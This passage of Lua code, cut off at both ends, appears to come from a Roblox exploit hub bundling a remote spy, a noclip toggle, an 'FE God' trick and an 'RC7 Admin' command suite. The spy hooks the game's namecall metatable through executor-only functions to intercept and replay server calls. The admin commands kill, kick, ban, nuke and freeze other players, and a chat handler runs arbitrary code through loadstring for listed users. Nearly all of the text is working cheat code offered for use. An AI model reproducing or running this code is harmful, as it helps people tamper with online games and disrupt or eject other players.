"\n\t" .. (type(i) == "number" and "[" .. i .. "] = " or "[\"" .. i .. "\"] = ") table.insert(M, I .. (type(v) == "table" and Table_TS(v) or GetType(v))) end return "\n{" .. table.concat(M, ", ") .. "\n}" end function fill(base) for i, v in pairs(base:GetChildren()) do if v.ClassName:match("Remote") and v.Name ~= "CharacterSoundEvent" then local B = SBTN:Clone() B.Parent = SetRemotes B.Icon.Image = (v.ClassName == "RemoteEvent" and "rbxassetid://413369506" or "rbxassetid://413369623") B.RemoteName.Text = v.Name B.Name = v.Name B.Position = UDim2.new(0, 10, 0, -20 + #SetRemotes:GetChildren() * 30) B.MouseButton1Down:Connect(function() B.Enabled.Text = B.Enabled.Text == "Enabled" and "Disabled" or "Enabled" B.Enabled.TextColor3 = B.Enabled.Text == "Enabled" and Color3.fromRGB(60, 200, 60) or Color3.fromRGB(200, 60, 60) B.Enabled.BorderColor3 = B.Enabled.Text == "Enabled" and Color3.fromRGB(30, 100, 30) or Color3.fromRGB(100, 30, 30) end) end fill(v) end end fill(game) -- Backend // Remotespy Backend local game_meta = getrawmetatable(game) local game_namecall = game_meta.__namecall local namecall_dump = {} local current_rmt = nil local g_caller = nil local f_return = nil local Step = game:GetService("RunService").Stepped local mwr if setreadonly ~= nil then mwr = function() setreadonly(game_meta, false) end elseif make_writeable ~= nil then mwr = function() make_writeable(game_meta) end end mwr() local namecall_script = function(object, method, ...) local script = "-- Script generated by R2Sv2\n-- R2Sv2 developed by Luckyxero\n\32\n" local args = {} for i, v in pairs{...} do script = script .. "local A_" .. i .. " = " .. (type(v) == "table" and Table_TS(v) or GetType(v)) .. "\n" table.insert(args, "A_" .. i) end script = script .. "local Event = " .. GetPath(object) .. "\n\n" script = script .. "Event:" .. method .. "(" .. table.concat(args, ", ") .. ")" return script end local dump_script = function(script) Source:ClearAllChildren() local lines = 0 script:gsub("[^\r\n]+", function(c) lines = lines + 1 local tabs = 0 c:gsub("%\t", function() tabs = tabs + 1 end) local line = ScriptLine:Clone() line.Parent = Source line.SourceText.Text = c line.Line.Text = lines line.RemoteHighlight.Text = Highlight(c, {"FireServer", "InvokeServer", "invokeServer", "fireServer"}) line.Position = UDim2.new(0, tabs * (17 * 2), 0, -17 + #Source:GetChildren() * 17) line.Globals.Text = Highlight(c, global_env) line.Line.Position = UDim2.new(0, 0 - tabs * (17 * 2), 0, 0) line.Strings.Text = strings(c) line.Keywords.Text = Highlight(c, lua_keywords) line.Tokens.Text = hTokens(c) line.Comments.Text = comments(c) end) end local log_remote = function(table) if SetRemotes[table.object.Name].Enabled.Text == "Disabled" then return end local B = RBTN:Clone() g_caller = table.caller remotes_fired = remotes_fired + 1 Total.Text = remotes_fired B.Parent = Remotes B.Position = UDim2.new(0, 10, 0, -20 + #Remotes:GetChildren() * 30) B.Icon.Image = table.method == "FireServer" and "rbxassetid://413369506" or "rbxassetid://413369623" B.RemoteName.Text = table.object.Name B.ID.Text = tostring(remotes_fired) B.MouseButton1Down:Connect(function() lvl6Frame.Visible = false SetRemotes.Visible = false SetRemotesTab.Visible = false Source.Visible = true dump_script(table.script) g_caller = table.caller f_return = table.freturn == nil and table.object.Name .. " is not RemoteFunction" or table.freturn end) end local get_namecall_dump = function(script, object, ...) local Ret = nil if object.ClassName == "RemoteFunction" then local freturn = {pcall(object.InvokeServer, object, ...)} freturn = {select(2, unpack(freturn))} if #freturn == 0 then Ret = object.Name .. " is a void type RemoteFunction." else Ret = Table_TS(freturn) end end namecall_dump[#namecall_dump + 1] = { script = namecall_script(object, object.ClassName == "RemoteEvent" and "FireServer" or "InvokeServer", ...), caller = script, object = object, method = object.ClassName == "RemoteEvent" and "FireServer" or "InvokeServer", freturn = Ret } end GetReturn.MouseButton1Down:Connect(function() dump_script(f_return) end) Decompile.MouseButton1Down:Connect(function() local source = decompile(g_caller) dump_script(type(source) == "boolean" and (function() Source.Visible = false SetRemotes.Visible = false SetRemotesTab.Visible = false lvl6Frame.Visible = true log_output("Failed to decompile...", true) return "" end)() or source) end) Step:Connect(function() while #namecall_dump > 0 do log_remote(table.remove(namecall_dump, 1)) end end) local on_namecall = function(object, ...) local method = select(#{...}, ...) local args = {...} args[#args] = nil if object.Name ~= "CharacterSoundEvent" and method:match("Server") and spy_enabled == true then get_namecall_dump(getfenv(2).script, object, unpack(args)) end return game_namecall(object, ...) end game_meta.__namecall = on_namecall end) Op.Name = "Op" Op.Parent = script2 Op.BackgroundColor3 = Color3.new(0.258824, 0.439216, 0.933333) Op.BorderSizePixel = 0 Op.Position = UDim2.new(0.342639595, 0, 0.775700927, 0) Op.Size = UDim2.new(0, 200, 0, 50) Op.Font = Enum.Font.SourceSans Op.Text = "Op_Noclip" Op.TextSize = 40 Op.MouseButton1Down:connect(function() Gui = Instance.new("ScreenGui", game.CoreGui) Button = Instance.new("TextButton", Gui) Button.Size = UDim2.new(0, 100, 0, 40) Button.BackgroundTransparency = 0.7 Button.Position = UDim2.new(0.003, 0, 0.93, 0) Button.Text = "Enable Noclip" Button.TextColor3 = Color3.new(255, 255, 255) noclip = false game:GetService('RunService').Stepped:connect(function() if noclip then game.Players.LocalPlayer.Character.Humanoid:ChangeState(11) end end) Button.MouseButton1Down:connect(function() noclip = not noclip if Button.Text == "Enable Noclip" then Button.Text = "Disable Noclip" else Button.Text = "Enable Noclip" end end) end) zally.Name = "zally" zally.Parent = script2 zally.BackgroundColor3 = Color3.new(0.258824, 0.439216, 0.933333) zally.BorderSizePixel = 0 zally.Position = UDim2.new(0.715736032, 0, 0.775700927, 0) zally.Size = UDim2.new(0, 200, 0, 50) zally.Font = Enum.Font.SourceSans zally.Text = "Zally hub" zally.TextSize = 40 zally.MouseButton1Down:connect(function() -- ZallyHub V1. Made by Zalendier#4007 -- local Main1 = Instance.new("ScreenGui") local Main2 = Instance.new("Frame") local cmd1 = Instance.new("TextButton") local cmd2 = Instance.new("TextButton") local cmd3 = Instance.new("TextButton") local cmd4 = Instance.new("TextButton") local cmd5 = Instance.new("TextButton") local credits = Instance.new("TextLabel") local title = Instance.new("TextLabel") local cmds = Instance.new("Frame") local scripts = Instance.new("TextButton") -- Gui Main1.Name = "ZallyHub" Main1.Parent = game.CoreGui -- cmds cmds.Name = "cmds" cmds.Parent = Main1 cmds.Draggable = true cmds.Active = true cmds.BackgroundColor3 = Color3.new(0, 0, 0) cmds.BorderSizePixel = 0 cmds.ZIndex = 1 cmds.Size = UDim2.new(0, 240, 0, 500) cmds.Visible = false cmds.Position = UDim2.new(0, 220, 0, 0) -- Main Main2.Name = "Main" Main2.Parent = Main1 Main2.Draggable = true Main2.Active = true Main2.BackgroundColor3 = Color3.new(0, 0, 0) Main2.BorderSizePixel = 0 Main2.ZIndex = 1 Main2.Size = UDim2.new(0, 240, 0, 300) -- cmd1 cmd1.Name = "FE God" cmd1.Parent = cmds cmd1.Active = true cmd1.BackgroundColor3 = Color3.new(0, 100, 255) cmd1.BorderSizePixel = 1 cmd1.BorderColor3 = Color3.new(0, 0, 0) cmd1.ZIndex = 10 cmd1.Size = UDim2.new(0, 200, 0, 100) cmd1.TextColor3 = Color3.new(255, 255, 255) cmd1.Position = UDim2.new(0, 20, 0, 0) cmd1.Text = "FE God" cmd1.FontSize = "Size32" -- FE God cmd1.MouseButton1Click:connect(function() local player = game.Players.LocalPlayer if player.Character then if player.Character:FindFirstChild("Humanoid") then player.Character.Humanoid.Name = "1" end local l = player.Character["1"]:Clone() l.Parent = player.Character l.Name = "Humanoid"; wait(0.1) player.Character["1"]:Destroy() workspace.CurrentCamera.CameraSubject = player.Character.Humanoid player.Character.Animate.Disabled = true; wait(0.1) player.Character.Animate.Disabled = false end print("finished.") end) -- cmd2 cmd2.Name = "Admin" cmd2.Parent = cmds cmd2.Active = true cmd2.BackgroundColor3 = Color3.new(0, 100, 255) cmd2.BorderSizePixel = 1 cmd2.BorderColor3 = Color3.new(0, 0, 0) cmd2.ZIndex = 9 cmd2.Size = UDim2.new(0, 200, 0, 100) cmd2.Position = UDim2.new(0, 20, 0, 100) cmd2.TextColor3 = Color3.new(255, 255, 255) cmd2.Text = "Admin" cmd2.FontSize = "Size32" -- Admin cmd2.MouseButton1Click:connect(function() --TITLE: RC7 Admin local NOCLIP = false local JESUSFLY = false local SWIM = false game:GetService('RunService').Stepped:connect(function() if NOCLIP then game.Players.LocalPlayer.Character.Humanoid:ChangeState(11) elseif JESUSFLY then game.Players.LocalPlayer.Character.Humanoid:ChangeState(12) elseif SWIM then game.Players.LocalPlayer.Character.Humanoid:ChangeState(4) end end) _G.Rc7Notification = function(a,b,c) game:GetService("CoreGui"):WaitForChild("RobloxGui").SendNotification:Fire(a, b, "rbxassetid://331959655", c) end local gPlayers = game:GetService("Players") local admin = gPlayers.LocalPlayer.Name local bannedplyrs = {} local admins = {'Xeradius','AutumnsGift'} -- names here of people who have access to your commands! (Your name doesn't need to be in here.) -- declare services / init stuff -- local services={} local cmds={} local std={} function KICK(PLAYER_KICK) if PLAYER_KICK.Character:FindFirstChild('Humanoid') then local KICK_1 = Instance.new('SkateboardPlatform', PLAYER_KICK.Character) KICK_1.Name = '' KICK_1.CFrame = CFrame.new(math.random(-1000, 1000), 1000, math.random(-1000, 1000)) KICK_1.CanCollide = false KICK_1.Transparency = 1 PLAYER_KICK.Character.Humanoid.WalkSpeed = 0 wait() local WELD_1 = Instance.new('Weld', KICK_1) WELD_1.Name = '' WELD_1.Part0 = PLAYER_KICK.Character.Torso WELD_1.Part1 = KICK_1 WELD_1.C0 = CFrame.new(0, -400, 0) wait() KICK_1.Anchored = true WELD_1:remove() end end local serverLocked = false game.Players.PlayerAdded:connect(function(player) if serverLocked == true then player.CharacterAdded:connect(function() wait(2) KICK(player) end) end end) function FIX_LIGHTING() game.Lighting.Ambient = Color3.new(0.5, 0.5, 0.5) game.Lighting.Brightness = 1 game.Lighting.GlobalShadows = true game.Lighting.Outlines = false game.Lighting.TimeOfDay = 14 game.Lighting.FogEnd = 100000 end services.players=gPlayers services.lighting=game:GetService('Lighting') services.workspace=game:GetService('Workspace') services.events = {} local user = gPlayers.LocalPlayer local cmdprefix=';' local scriptprefix='\\' local split=" " updateevents=function() for i,v in pairs(services.events) do services.events:remove(i) v:disconnect() end for i,v in pairs(gPlayers:players())do local ev = v.Chatted:connect(function(msg) do_exec(msg,v) end) services.events[#services.events+1] = ev end end -- safazi's lib -- std.inTable=function(tbl,val) if tbl==nil then return false end for _,v in pairs(tbl)do if v==val then return true end end return false end std.out=function(str) print(str) end std.list=function(tbl) --turns table into list with commas local str='' for i,v in pairs(tbl)do str=str..tostring(v) if i~=#tbl then str=str..', ' end end return str end std.endat=function(str,val) local z=str:find(val) if z then return str:sub(0,z-string.len(val)),true else return str,false end end std.first=function(str) return str:sub(1,1) end isAdmin=function(name) if name==admin then return true elseif admins[name]==true then return true end return false end gPlayers.PlayerAdded:connect(function(player) for i,v in pairs(bannedplyrs) do if player == v then player:Destroy() end end end) local exec=function(str) spawn(function() local script, loaderr = loadstring(str) if not script then error(loaderr) else script() end end) end local findCmd=function(cmd_name) for i,v in pairs(cmds)do if v.NAME:lower()==cmd_name:lower() or std.inTable(v.ALIAS,cmd_name:lower())then return v end end end local getCmd=function(msg) local cmd,hassplit=std.endat(msg:lower(),split) if hassplit then return {cmd,true} else return {cmd,false} end end local getprfx=function(strn) if strn:sub(1,string.len(cmdprefix))==cmdprefix then return{'cmd',string.len(cmdprefix)+1} elseif strn:sub(1,string.len(scriptprefix))==scriptprefix then return{'exec',string.len(scriptprefix)+1} end return end local getArgs=function(str) local args={} local new_arg=nil local hassplit=nil local s=str repeat new_arg,hassplit=std.endat(s:lower(),split) if new_arg~='' then args[#args+1]=new_arg s=s:sub(string.len(new_arg)+string.len(split)+1) end until hassplit==false return args end local function execCmd(str, plr) local s_cmd local a local cmd s_cmd = getCmd(str) --separate command from string using split {command name,arg bool (for arg system)} cmd = findCmd(s_cmd[1]) --get command object {NAME,DESC,{ALIASES},function(args)} if cmd == nil then return end a = str:sub(string.len(s_cmd[1]) + string.len(split) + 1)--start string "a" after command and split local args=getArgs(a)--gets us a nice table of arguments pcall(function() cmd.FUNC(args, plr) end) end function do_exec(str,plr) if not isAdmin(plr.Name)then return end str=str:gsub('/e ','')--remove "/e " the easy way! local t=getprfx(str) if t==nil then return end str=str:sub(t[2]) if t[1]=='exec' then exec(str) elseif t[1]=='cmd' then execCmd(str, plr) end end updateevents() _G.exec_cmd = execCmd --game.Players.LocalPlayer.Chatted:connect(doexec) local _char=function(plr_name) for i,v in pairs(game.Players:GetChildren())do if v:IsA'Player'then if v.Name==plr_name then return v.Character end end end return end local _plr=function(plr_name) for i,v in pairs(game.Players:GetChildren())do if v:IsA'Player'then if v.Name==plr_name then return v end end end return end function addcmd(name,desc,alias,func) cmds[#cmds+1]= { NAME=name; DESC=desc; ALIAS=alias; FUNC=func; } end local function getPlayer(name) local nameTable = {} name=name:lower() if name == "me" then return {admin} elseif name == "others" then for i,v in pairs(gPlayers:GetChildren()) do if v:IsA'Player'then if v.Name~=admin then nameTable[#nameTable+1]=v.Name end end end elseif name == "all" then for i,v in pairs(gPlayers:GetChildren()) do if v:IsA'Player'then nameTable[#nameTable+1]=v.Name end end else for i,v in pairs(gPlayers:GetChildren()) do local lname = v.Name:lower() local i,j = lname:find(name) if i == 1 then return {v.Name} end end end return nameTable end -- commands -- addcmd('ff',"ff's a player",{}, function(args) local players=getPlayer(args[1]) for i,v in pairs(players)do local pchar=_char(v) Instance.new("ForceField", pchar) end end) addcmd('noff',"unff's a player",{'unff'}, function(args) local players=getPlayer(args[1]) for i,v in pairs(players)do local pchar=_char(v) for j,v1 in pairs(pchar:GetChildren()) do if v1:IsA("ForceField") then v1:Destroy() end end end end) addcmd('fire','set a player on fire',{}, function(args) local players=getPlayer(args[1]) for i,v in pairs(players)do local pchar=_char(v) Instance.new("Fire", pchar.Torso) end end) addcmd('nofire','extinguish a player',{'unfire'}, function(args) local players=getPlayer(args[1]) for i,v in pairs(players)do local pchar=_char(v) for j,v1 in pairs(pchar.Torso:GetChildren()) do if v1:IsA("Fire") then v1:Destroy() end end end end) addcmd('sp','give a player sparkles',{}, function(args) local players=getPlayer(args[1]) for i,v in pairs(players)do local pchar=_char(v) Instance.new("Sparkles", pchar.Torso) end end) addcmd('nosp','remove sparkles from a player',{'unsp'}, function(args) local players=getPlayer(args[1]) for i,v in pairs(players)do local pchar=_char(v) for j,v1 in pairs(pchar.Torso:GetChildren()) do if v1:IsA("Sparkles") then v1:Destroy() end end end end) addcmd('smoke','give a player smoke',{}, function(args) local players=getPlayer(args[1]) for i,v in pairs(players)do local pchar=_char(v) Instance.new("Smoke", pchar.Torso) end end) addcmd('nosmoke','remove smoke from a player',{}, function(args) local players=getPlayer(args[1]) for i,v in pairs(players)do local pchar=_char(v) for j,v1 in pairs(pchar.Torso:GetChildren()) do if v1:IsA("Smoke") then v1:Destroy() end end end end) addcmd('btools','gives a player btools',{}, function(args) local players=getPlayer(args[1]) if players ~= nil then for i, v in pairs(players) do Instance.new("HopperBin", gPlayers[v].Backpack).BinType = 2 Instance.new("HopperBin", gPlayers[v].Backpack).BinType = 3 Instance.new("HopperBin", gPlayers[v].Backpack).BinType = 4 end end end) addcmd('god','gods player',{}, function(args) local players=getPlayer(args[1]) for i,v in pairs(players)do local pchar=_char(v) if pchar then pchar.Humanoid.MaxHealth=math.huge end end end) addcmd('sgod','silently gods player',{}, function(args) local players=getPlayer(args[1]) for i,v in pairs(players)do local pchar=_char(v) spawn(function() pchar.Humanoid.MaxHealth = 10000000 wait() pchar.Humanoid.Health = 10000000 end) end end) addcmd('ungod','removes god from a player',{}, function(args) local players=getPlayer(args[1]) for i,v in pairs(players)do local pchar=_char(v) if pchar then pchar.Humanoid.MaxHealth=100 pchar.Humanoid.Health=100 end end end) addcmd('heal','resets a players health',{}, function(args) local players=getPlayer(args[1]) for i,v in pairs(players)do local pchar=_char(v) if pchar then pchar.Humanoid.Health=pchar.Humanoid.MaxHealth;end end end) addcmd('frz','freezes a player',{}, function(args) local players = getPlayer(args[1]) if players ~= nil then for i, v in pairs(players) do _char(v).Torso.Anchored = true end end end) addcmd('thaw','freezes a player',{}, function(args) local players = getPlayer(args[1]) if players ~= nil then for i, v in pairs(players) do _char(v).Torso.Anchored = false end end end) addcmd('kill','kills a player',{}, function(args) local players=getPlayer(args[1]) for i,v in pairs(players)do local pchar=_char(v) if pchar then pchar.Humanoid.MaxHealth=0;pchar.Humanoid.Health=0;end end end) addcmd('sound','plays a sound',{}, function(args) local function dels(instance) for i,v in pairs(instance:GetChildren())do if v:IsA'Sound'then v:Destroy()end dels(v) end end dels(workspace) local c=args[1]or'stop' if std.inTable({'stop'},c:lower())then return end local s=Instance.new("Sound", workspace) s.Looped = true s.SoundId = "rbxassetid://"..c s.Volume=1 s:Play() s.Name = "Musickek" end) addcmd('explode','explode a player', {}, function(args) local players=getPlayer(args[1]) for i, v in pairs(players) do local char = _char(v) if char:FindFirstChild("Torso") then Instance.new("Explosion", char).Position = char.Torso.Position end end end) addcmd('invis','make a player invisible',{}, function(args) local players=getPlayer(args[1]) for i, v in pairs(players) do for k, v2 in pairs(_char(v):GetChildren()) do if v2.className == "Part" then if v2.Name ~= "HumanoidRootPart" then v2.Transparency = 1 end elseif v2.className == "Hat" then if v2:FindFirstChild("Handle") then v2.Handle.Transparency = 1 end end if v2:FindFirstChild("face") then v2.face:Destroy() end end end end) addcmd('vis','make a player visible',{}, function(args) local players=getPlayer(args[1]) for i, v in pairs(players) do for k, v2 in pairs(_char(v):GetChildren()) do if v2.className == "Part" then if v2.Name ~= "HumanoidRootPart" then v2.Transparency = 0 end elseif v2.className == "Hat" then if v2:FindFirstChild("Handle") then v2.Handle.Transparency = 0 end end if v2:FindFirstChild("face") then v2.face:Destroy() end end end end) addcmd('goto','go to a player',{}, function(args) local players=getPlayer(args[1]) if players ~= nil and _char(players[1]):FindFirstChild("HumanoidRootPart") then _char(admin).HumanoidRootPart.CFrame = _char(players[1]).HumanoidRootPart.CFrame end end) addcmd('bring','bring a player to you',{}, function(args) local players=getPlayer(args[1]) for i,v in pairs(players) do if _char(v):FindFirstChild("HumanoidRootPart") then _char(v).HumanoidRootPart.CFrame = _char(admin).HumanoidRootPart.CFrame end end end) addcmd('tp','teleport player 1 to player 2',{}, function(args) local players1=getPlayer(args[1]) local players2=getPlayer(args[2]) if not players2[1] then return end for i,v in pairs(players1) do if _char(v):FindFirstChild("HumanoidRootPart") and _char(players2[1]):FindFirstChild("HumanoidRootPart") then _char(v).HumanoidRootPart.CFrame = _char(players2[1]).HumanoidRootPart.CFrame end end end) addcmd('charapp','change a players appearance',{}, function(args) local players=getPlayer(args[1]) if not args[1]or not args[2]then return end local id=args[2] if players ~= nil then for i,v in pairs(players) do gPlayers[v].CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..id if _char(v):FindFirstChild("Head") then _char(v).Head:Destroy() end end end end) addcmd('ws','change a players walkspeed',{}, function(args) local players=getPlayer(args[1]) if not args[1]or not args[2]then return end local num=args[2] for i,v in pairs(players) do if _char(v):FindFirstChild("Humanoid") then _char(v).Humanoid.WalkSpeed=tonumber(num) end end end) addcmd('time','change the time of day',{}, function(args) if not args[1]then return end local time_=tonumber(args[1]) game.Lighting:SetMinutesAfterMidnight(time_*60) end) addcmd('kick','kick a player',{}, function(args) local players=getPlayer(args[1]) for i,v in pairs(players) do gPlayers[v]:Destroy() end end) addcmd('ban','ban a player',{}, function(args) local players=getPlayer(args[1]) for i,v in pairs(players) do bannedplyrs[#bannedplyrs+1]=v gPlayers[v]:Destroy() end end) addcmd('unlockws','unlock the whole workspace',{}, function(args) local function unlock(instance) for i,v in pairs(instance:GetChildren()) do if v:IsA("BasePart") then v.Locked = false end unlock(v) end end unlock(workspace) end) addcmd('unanchorws','unanchor the whole workspace',{}, function(args) local function unanchor(instance) for i,v in pairs(instance:GetChildren()) do if v:IsA("BasePart") then v.Anchored=false end unanchor(v) end end unanchor(workspace) end) addcmd('hat','give player a hat ingame',{}, function(args) if not args[1] or not args[2] then return end local players=getPlayer(args[1]) local id=args[2] local hat = game:GetObjects("rbxassetid://"..id)[1] if hat:IsA("Hat") then for i,v in pairs(players) do hat:clone().Parent = _char(v) end end hat:Destroy() end) addcmd('gear','give player a gear ingame',{}, function(args) spawn(function() if not args[1] or not args[2] then return end local players=getPlayer(args[1]) local id=args[2] local model = game:GetService("InsertService"):LoadAsset(id) for i,v in pairs(players) do for _,j in pairs(model:GetChildren()) do if j:IsA("Tool") then j:Clone().Parent = gPlayers[v].Backpack end end end model:Destroy() end) end) addcmd('pstools','give player personal server tools',{}, function(args) local players=getPlayer(args[1]) for i,v in pairs(players) do gPlayers[v].PersonalServerRank = 240 end end) addcmd('skick','kicks a player by shutting them down, takes a few seconds',{}, function(args) local players=getPlayer(args[1]) for i,v in pairs(players) do spawn(function() gPlayers[v].PersonalServerRank = 240 gPlayers[v].Backpack:WaitForChild("ClassicTool") gPlayers[v].PersonalServerRank = 0 end) end end) addcmd('admin','gives a player admin',{}, function(args) if not args[1]then return end local players=getPlayer(args[1]) table.foreach(players,function(k,v) admins[v]=true end) end) addcmd('unadmin','removes a players admin',{}, function(args) if not args[1] then return end local players=getPlayer(args[1]) table.foreach(players,function(k,v) admins[v]=nil end) end) addcmd('view','view player',{}, function(args) local players=getPlayer(args[1]) workspace.CurrentCamera.CameraSubject = game.Players[players[1]].Character end) addcmd('noclip','noclips local player',nil, function(args,speaker) NOCLIP = true JESUSFLY = false SWIM = false end) addcmd('clip','clips local player',nil, function(args,speaker) NOCLIP = false end) addcmd('jesusfly','jesusfly',nil, function(args,speaker) NOCLIP = false JESUSFLY = true SWIM = false end) addcmd('nofly','nofly',nil, function(args) JESUSFLY = false end) addcmd('swim','swim',nil, function(args) NOCLIP = false JESUSFLY = false SWIM = true end) addcmd('noswim','noswim',nil, function(args) SWIM = false end) addcmd('skybox','sky ',nil, function(args) for i,v in pairs(game.Lighting:GetChildren()) do if v:IsA('Sky') then v:remove() end end local ID = (args[1]) local sky = Instance.new('Sky', game.Lighting) sky.SkyboxBk = 'rbxassetid://' .. ID sky.SkyboxDn = 'rbxassetid://' .. ID sky.SkyboxFt = 'rbxassetid://' .. ID sky.SkyboxLf = 'rbxassetid://' .. ID sky.SkyboxRt = 'rbxassetid://' .. ID sky.SkyboxUp = 'rbxassetid://' .. ID end) addcmd('shrek','shrek

',nil, function(args) local players = getPlayer(args[1]) for i,v in pairs(players) do local pchar = gPlayers[v].Character for i,v in pairs(pchar:GetChildren()) do if v:IsA('Hat') or v:IsA('CharacterMesh') or v:IsA('Shirt') or v:IsA('Pants') then v:remove() end end for i,v in pairs(pchar.Head:GetChildren()) do if v:IsA('Decal') or v:IsA('SpecialMesh')then v:remove() end end if pchar:FindFirstChild('Shirt Graphic') then pchar['Shirt Graphic'].Archivable = false pchar['Shirt Graphic'].Graphic = '' end local mesh = Instance.new('SpecialMesh', pchar.Head) mesh.MeshType = 'FileMesh' pchar.Head.Mesh.MeshId = 'http://www.roblox.com/asset/?id=19999257' pchar.Head.Mesh.Offset = Vector3.new(-0.1, 0.1, 0) pchar.Head.Mesh.TextureId = 'http://www.roblox.com/asset/?id=156397869' local Shirt = Instance.new('Shirt', gPlayers[v].Character) local Pants = Instance.new('Pants', gPlayers[v].Character) Shirt.ShirtTemplate = 'rbxassetid://133078194' Pants.PantsTemplate = 'rbxassetid://133078204' end end) addcmd('ambient','ambient ',nil, function(args) game.Lighting.Ambient = Color3.new(args[1], args[2], args[3]) end) addcmd('fetp','fetp',nil, function(args) local last_pos = game.Players.LocalPlayer.Character.Torso.CFrame for _, Player in pairs(game:GetService("Players"):GetChildren()) do if game.Workspace:findFirstChild(Player.Name) then local w = Instance.new("Weld", game.Players.LocalPlayer.Character.Torso) w.Part0 = w.Parent w.Part1 = Player.Character.Torso w.C0 = last_pos w.C1 = last_pos wait(0.1) w:Destroy() game.Players.LocalPlayer.Character.Torso.CFrame = last_pos end end wait(1) game.Players.LocalPlayer.Character.Torso.CFrame = last_pos end) addcmd('fogend','fogend ',nil, function(args) game.Lighting.FogEnd = args[1] end) addcmd('slock','serverlock',nil, function(args) serverLocked = true end) addcmd('unslock','unserverlock',nil, function(args) serverLocked = false end) addcmd('fogend','fogend ',{}, function(args) game.Lighting.FogEnd = args[1] end) addcmd('fogcolor','fogcolor ',{}, function(args) game.Lighting.FogColor = Color3.new(args[1], args[2], args[3]) end) addcmd('fixl','fixlighting',nil, function(args) FIX_LIGHTING() end) addcmd('particles','particles

',{'pts'}, function(args) local players = getPlayer(args[1]) for i,v in pairs(players) do local pchar = gPlayers[v].Character for i,v in pairs(pchar.Torso:GetChildren()) do if v:IsA('ParticleEmitter') then v:remove() end end wait() Instance.new('ParticleEmitter', pchar.Torso).Texture = 'http://www.roblox.com/asset/?id=' .. args[2] - 1 end end) addcmd('nuke','nuke

',nil, function(args) local players = getPlayer(args[1]) for i,v in pairs(players) do local pchar = gPlayers[v].Character spawn(function() if gPlayers[v] and pchar and pchar:FindFirstChild('Torso') then local nuke = Instance.new('Part', game.Workspace) nuke.Name = 'nuke_seth' nuke.Anchored = true nuke.CanCollide = false nuke.FormFactor = 'Symmetric' nuke.Shape = 'Ball' nuke.Size = Vector3.new(1,1,1) nuke.BrickColor = BrickColor.new('New Yeller') nuke.Transparency = 0.5 nuke.Reflectance = 0.2 nuke.TopSurface = 0 nuke.BottomSurface = 0 nuke.Touched:connect(function (hit) if hit and hit.Parent then local boom = Instance.new('Explosion', game.Workspace) boom.Position = hit.Position boom.BlastRadius = 11 boom.BlastPressure = math.huge end end) local CF = pchar.Torso.CFrame nuke.CFrame = CF for i = 1,333 do nuke.Size = nuke.Size + Vector3.new(3,3,3) nuke.CFrame = CF wait(1/44) end nuke:remove() end end) end end) addcmd('nonuke','nonuke',{'unnuke'}, function(args) for i,v in pairs(game.Workspace:GetChildren()) do if v.Name == 'nuke_seth' then v:remove() end end end) _G.Rc7Notification("Done","Moon Admin is fully initilizied",5) wait(5) if game.Workspace.FilteringEnabled == true then _G.Rc7Notification("Filtering","Fltering is Enabled",5) else _G.Rc7Notification("Filtering","Fltering is Disabled",5) end end) -- cmd3 cmd3.Name = "galaxy titan" cmd3.Parent = cmds cmd3.Active = true cmd3.BackgroundColor3 = Color3.new(0, 100, 255) cmd3.BorderSizePixel = 1 cmd3.BorderColor3 = Color3.new(0, 0, 0) cmd3.ZIndex = 8 cmd3.Size = UDim2.new(0, 200, 0, 100) cmd3.Position = UDim2.new(0, 20, 0, 200) cmd3.TextColor3 = Color3.new(255, 255, 255) cmd3.Text = "Galaxy Titan" cmd3.FontSize = "Size24" -- btools cmd3.MouseButton1Click:connect(function() --[[PointCoded's Edit Of The Titan Script]]-- --[[Old]]-- local p = game.Players.LocalPlayer local char = p.Character local mouse = p:GetMouse() local larm = char["Left Arm"] local rarm = char["Right Arm"] local TitanBet = ";" local lleg = char["Left Leg"] local rleg = char["Right Leg"] local hed = char.Head local torso = char.Torso local hum = char.Humanoid local cam = game.Workspace.CurrentCamera local root = char.HumanoidRootPart local deb = false local shot = 0 local l = game:GetService("Lighting") local rs = game:GetService("RunService").RenderStepped local stanceToggle = "Normal" local Mana = Instance.new("IntValue", char) Mana.Value = 5000 Mana.Name = "Mana" math.randomseed(os.time()) hum.WalkSpeed = 50 char.Health:Destroy() hum.MaxHealth = math.huge wait(0.1) hum.Health = math.huge ---------------------------------------------------- local G = Instance.new("ScreenGui") G.Parent = p.PlayerGui G.Name = "Mana" local T = Instance.new("TextLabel") T.Name = "Mana" T.Parent = G T.Text = "Mana: "..char.Mana.Value T.FontSize = "Size24" T.BackgroundTransparency = 1 T.TextColor3 = Color3.new(255,255,255) T.TextStrokeTransparency = 0 T.Position = UDim2.new(0,250,0,400) T.BorderSizePixel = 0 --// for i = 1,30 do Instance.new('Fire',larm); Instance.new('Fire',rarm) end --// Debounces = { on = false; ks = false; CanAttack = true; CanJoke = true; NoIdl = false; Slashing = false; Slashed = false; Grabbing = false; Grabbed = false; } local Touche = {char.Name, } ---------------------------------------------------- function lerp(a, b, t) -- Linear interpolation return a + (b - a)*t end function slerp(a, b, t) --Spherical interpolation dot = a:Dot(b) if dot > 0.99999 or dot < -0.99999 then return t <= 0.5 and a or b else r = math.acos(dot) return (a*math.sin((1 - t)*r) + b*math.sin(t*r)) / math.sin(r) end end function matrixInterpolate(a, b, t) local ax, ay, az, a00, a01, a02, a10, a11, a12, a20, a21, a22 = a:components() local bx, by, bz, b00, b01, b02, b10, b11, b12, b20, b21, b22 = b:components() local v0 = lerp(Vector3.new(ax, ay, az), Vector3.new(bx , by , bz), t) -- Position local v1 = slerp(Vector3.new(a00, a01, a02), Vector3.new(b00, b01, b02), t) -- Vector right local v2 = slerp(Vector3.new(a10, a11, a12), Vector3.new(b10, b11, b12), t) -- Vector up local v3 = slerp(Vector3.new(a20, a21, a22), Vector3.new(b20, b21, b22), t) -- Vector back local t = v1:Dot(v2) if not (t < 0 or t == 0 or t > 0) then -- Failsafe return CFrame.new() end return CFrame.new( v0.x, v0.y, v0.z, v1.x, v1.y, v1.z, v2.x, v2.y, v2.z, v3.x, v3.y, v3.z) end ----------------------------------------------------//Mesh setting local cmeshes = {} local ll,rl,la,ra,t = Instance.new('CharacterMesh',char),Instance.new('CharacterMesh',char),Instance.new('CharacterMesh',char),Instance.new('CharacterMesh',char),Instance.new('CharacterMesh',char) ll.BodyPart = 'LeftLeg' rl.BodyPart = 'RightLeg' la.BodyPart = 'LeftArm' ra.BodyPart = 'RightArm' t.BodyPart = 'Torso' ll.MeshId,ll.OverlayTextureId,rl.MeshId,rl.OverlayTextureId = 